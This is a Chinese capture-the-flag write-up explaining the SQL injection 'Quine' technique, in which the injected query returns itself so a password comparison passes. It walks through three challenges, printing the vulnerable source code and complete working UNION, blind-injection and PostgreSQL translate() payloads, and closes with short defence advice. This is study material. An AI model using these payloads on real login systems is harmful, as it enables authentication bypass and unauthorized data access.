从三道赛题再谈Quine trick

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0x00 前言

Quine本身不是一个非常新的考点了(最早可以追溯到2014年的Codegate CTF Finals),但是他在实际利用中还存在很多细小的点,导致我们可能无法达到最后的效果,所以谨以此篇用三道比较典型的赛题重新梳理一下。

 

0x01 简介

Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中。

 

0x02 举例:yet_another_mysql_injection

第三届第五空间网络安全大赛的yet_another_mysql_injection赛题:

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

上面php代码逻辑实现了一个通过POST提交登录请求的方法,要求username必须为admin,密码需要与查询到的password一致,才能拿到flag

其实如果直接看这道题其实给出了所使用的sql语句,在语句中给出了表user,包括黑名单也在checkSql中都已经给出了,那么按理看这不是一个困难的注入,可以当成一个简单的盲注。通过使用like替换=benchmark(或者其他笛卡儿积等)替换sleepmid替换substr/**/替换Space,使用如下paload即可完成:

union select if((select ascii(mid((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema like database()),{},1)) like {}),(select benchmark(4999999,md5('test'))),1)#

但是很遗憾,这样注出来user表中没有密码。

如果仔细看题目中这个比较判断的逻辑,我们就可以发现端倪。

$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);

if ($row['password'] === $password) {
    die($FLAG);

简单来看,要求的是执行$sql的结果与$password相同,那么除了正常逻辑的密码相同会产生相等,如果我们的输入与最后的结果相等,那么一样可以绕过验证。这种技术就是Quine

0x021 从payload理解Quine

示例payload:

union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r#

这样看起来不是很清楚,我们接下来从内层一步一步拆开看。

从大结构上,这段payload是由两个大REPLACE完成的

REPLACE ( string_expression , string_pattern , string_replacement )
即将string_expression中所有string_pattern替换为string_replacement

内层REPLACE

REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39))

我们暂且把它当作A,这里面有个字符串:

"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#

我们暂且把它当作B

简化一下最初的payload就是这个样子:

union/**/SELECT/**/REPLACE(A,CHAR(46),B)/**/AS/**/ch3ns1r#
其中:
A:REPLACE(B,CHAR(34),CHAR(39))
B:
"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#

到这里应该就看的比较清楚了,有点像套娃。A这个形式就是Quine的基本形式,可以描述为如下形式:

REPLACE(str,编码的间隔符,str)

str可描述为如下形式:

REPLACE(间隔符,编码的间隔符,间隔符)

这样运算后,最后的结果又是:

REPLACE(str,编码的间隔符,str)

我们举个例子加深理解,设间隔符为'.',编码的间隔符为CHAR(46),那么str为:

REPLACE(".",CHAR(46),".")

放入最后的语句为:

REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")')

执行的结果为(先执行的CHAR(46)):

REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")')

(注意以上的语句还没有考虑存在单双引号的情况)

这样就达到了输入与输出一致的效果。

 MySQL  localhost:3306 ssl  SQL > SELECT REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")');
+---------------------------------------------------------------------------+
| REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")') |
+---------------------------------------------------------------------------+
| REPLACE("REPLACE(".",CHAR(46),".")",CHAR(46),"REPLACE(".",CHAR(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.0005 sec)

0x022 从解决单双引号理解Quine

细心点的话就会发现,这里还存在单双引号的问题,我们重新考虑存在单双引号的情况。

Quine的基本形式:

REPLACE('str',编码的间隔符,'str')

str描述为如下形式:

REPLACE("间隔符",编码的间隔符,"间隔符")

这里str中的间隔符使用双引号的原因是,str已经被单引号包裹,为避免引入新的转义符号,间隔符需要使用双引号。

运算后的结果是:

REPLACE("str",编码的间隔符,"str")

但是我们希望str仍然使用单引号包裹,怎么办?

我们这样考虑,如果先使用REPLACEstr的双引号换成单引号,这样最后就不会出现引号不一致的情况了。

Quine的升级版基本形式:

REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')

str的升级版形式:

REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")

这里的CHAR(34)是双引号,CHAR(39)是单引号,如果CHAR被禁了0x220x27是一样的效果。

这里我们慢一点。

第一步:

REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")
变成了
REPLACE(REPLACE('间隔符',CHAR(34),CHAR(39)),编码的间隔符,'间隔符')

第二步:

REPLACE('单引号str',编码的间隔符,'str')
变成了
REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')

我们同样举刚才的例子,设间隔符为'.',编码的间隔符为CHAR(46),那么str为:

REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")

放入最后的语句为:

REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

执行的结果为(先执行的内层REPLACE):

REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

实际结果:

 MySQL  localhost:3306 ssl  SQL > SELECT REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.0004 sec)

现在就完全一致了。

0x023 从实际解题中理解Quine

我们现在重看这道题的payload:

'/**/union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r#

可能刚开始不太理解为什么内层REPLACE会存在不匹配的一个双引号,那么现在就容易理解了。

str为:

"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#

替换双引号为单引号:

'/**/union/**/SELECT/**/REPLACE(REPLACE('.',CHAR(34),CHAR(39)),CHAR(46),'.')/**/AS/**/ch3ns1r#

这样就和我们注入的语言是一样了,前面那个不匹配的双引号被替换成了我们注入的单引号。

所以我们如果需要最后实际注入的话,比如加入union、空格,单引号等都需要对str进行添加。

 

0x03 拓展

0x031 Holyshield CTF

源码:

<?php

$query = "select cid,passcode from cage where cid='{$_GET[cid]}' and passcode='{$_GET[passcode]}'";
if(!is_numeric($_GET['cid'])){
  echo "<center><h1>[cid] is only number.</h1></center>";
  exit();
}

if(preg_match('/cats|_|\.|rollup|join|@/i', $_GET['passcode'])) exit("<center><img src='sad.png' width='350px'><br></center>");

$result = @mysqli_fetch_array(mysqli_query($conn,$query));

if(($result['cid']) && ($result['passcode']) && ($result['cid'] == $_GET['passcode']) && ($result['passcode'] == 1337)){
  print_r($result)."<br>";
  $strtok = explode('cat',$result['cid']);
  $que = substr($strtok[0],-0x10);
  $query = "select secret from cats where name='{$que}'";
  $result = @mysqli_fetch_array(mysqli_query($conn,$query));

  if($result['secret']){
     echo "<center><h1>secret : {$result['secret']}</h1></center>";
  }
}

?>

注意这里的逻辑:

if(($result['cid']) && ($result['passcode']) && ($result['cid'] == $_GET['passcode']) && ($result['passcode'] == 1337))

这道赛题当时cage表中没有任何数据,我们要进入这个if又必须使得cidpasscode能够有返回,更关键的是,我们需要让查询到的cid和我们输入passcode的一致,且最后查询到的passcode要和1337相等,怎么办?

最后一个是最简单的我们只需要让1337在语句中成为passcode就可以。

 SQL > Select 1337 AS passcode;
+----------+
| passcode |
+----------+
|     1337 |
+----------+
1 row in set (0.0006 sec)

而查询到的cid和我们输入的passcode一致,这其实跟我们上面提到的赛题是异曲同工,因此我们只需要在passcode使用Quine技术,并让结果成为cid即可。

payload:

' UNION SELECT REPLACE(REPLACE('" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#') AS cid, 1337 AS passcode -- 'OR 1 limit 3,1#

注意,这里的str是:

" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#

开头的双引号不多说,跟我们上面分析的一样,这里使用$也是没问题的,后面相应变化就可以,cidpasscode的变化对于str也需要加上,最后的OR 1 limit 3,1是什么意思,大家可以思考一下。

0x032 2021qwb Quals easy_sql

源码:

const salt = random('Aa0', 40);
const HashCheck = sha256(sha256(salt + 'admin')).toString();

let filter = (data) => {
    let blackwords = ['alter', 'insert', 'drop', 'delete', 'update', 'convert', 'chr', 'char', 'concat', 'reg', 'to', 'query'];
    let flag = false;

    if (typeof data !== 'string') return true;

    blackwords.forEach((value, idx) => {
        if (data.includes(value)) {
            console.log(`filter: ${value}`);
            return (flag = true);
        }
    });

    let limitwords = ['substring', 'left', 'right', 'if', 'case', 'sleep', 'replace', 'as', 'format', 'union'];
    limitwords.forEach((value, idx) => {
        if (count(data, value) > 3){
            console.log(`limit: ${value}`);
            return (flag = true);
        }
    });

    return flag;
}
app.get('/source', async (req, res, next) => {
    fs.readFile('./source.txt', 'utf8', (err, data) => {
        if (err) {
            res.send(err);
        }
        else {
            res.send(data);
        }
    });
});

app.all('/', async (req, res, next) => {
    if (req.method == 'POST') {
        if (req.body.username && req.body.password) {
            let username = req.body.username.toLowerCase();
            let password = req.body.password.toLowerCase();

            if (username === 'admin') {
                res.send(`<script>alert("Don't want this!!!");location.href='/';</script>`);
                return;
            }

            UserHash = sha256(sha256(salt + username)).toString();
            if (UserHash !== HashCheck) {
                res.send(`<script>alert("NoNoNo~~~You are not admin!!!");location.href='/';</script>`);
                return;
            }

            if (filter(password)) {
                res.send(`<script>alert("Hacker!!!");location.href='/';</script>`);
                return;
            }

            let sql = `select password,username from users where username='${username}' and password='${password}';`;
            client.query(sql, [], (err, data) => {
                if (err) {
                    res.send(`<script>alert("Something Error!");location.href='/';</script>`);
                    return;
                }
                else {
                    if ((typeof data !== 'undefined') && (typeof data.rows[0] !== 'undefined') && (data.rows[0].password === password)) {
                        res.send(`<script>alert("Congratulation,here is your flag:${flag}");location.href='/';</script>`);
                        return;
                    }
                    else {
                        res.send(`<script>alert("Password Error!!!");location.href='/';</script>`);
                        return;
                    }
                }
            });
        }
    }

    res.render('index');
    return;
});

这个题目的具体解法安全客就有,大家有兴趣可以移步去看,我们只关注Quine部分。

注意这里的逻辑

if ((typeof data !== 'undefined') && (typeof data.rows[0] !== 'undefined') && (data.rows[0].password === password)) {
                        res.send(`<script>alert("Congratulation,here is your flag:${flag}");location.href='/';</script>`);
                        return;

其实这里就是典型的Quine,只不过这道题的数据库是pgsql,而且REPLACE函数被禁了。值得注意的是,pgsql下的current_query是可以获取当前执行的语句的,长亭的WP中似乎想要使用这种方法,但是没能成功,最后他们使用了堆叠注入并引入语法错误抵消querycommit后为空的情况。另外看了几个强队的WP也是这种解法。

有一种解法值得注意,看起来似乎使用了使用了Quine进行盲注,但其实思考过就会明白这道题只需要构造一个合理的Quine即可,不需要盲注。

这个脚本中for循环是没什么用的,实际有用的payload是:

' union SELECT REPLACE(translate('" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ',(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),'" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ') AS dem0--

这说明了,translate也是可以代理replace的,这也给我们提供了新的思路。(只不过没想懂为什么有这么多select hint from hint

 

0x04 可行的防御措施

Quine本身是个很危险的技术,对于开发人员而言题目中出现的逻辑并不鲜见,可行的防御方法是将REPLACETRANSLATE等函数也纳入黑名单,同时对查询获取到的结果做正则匹配,这样就可以一定程度防御Quine的攻击。

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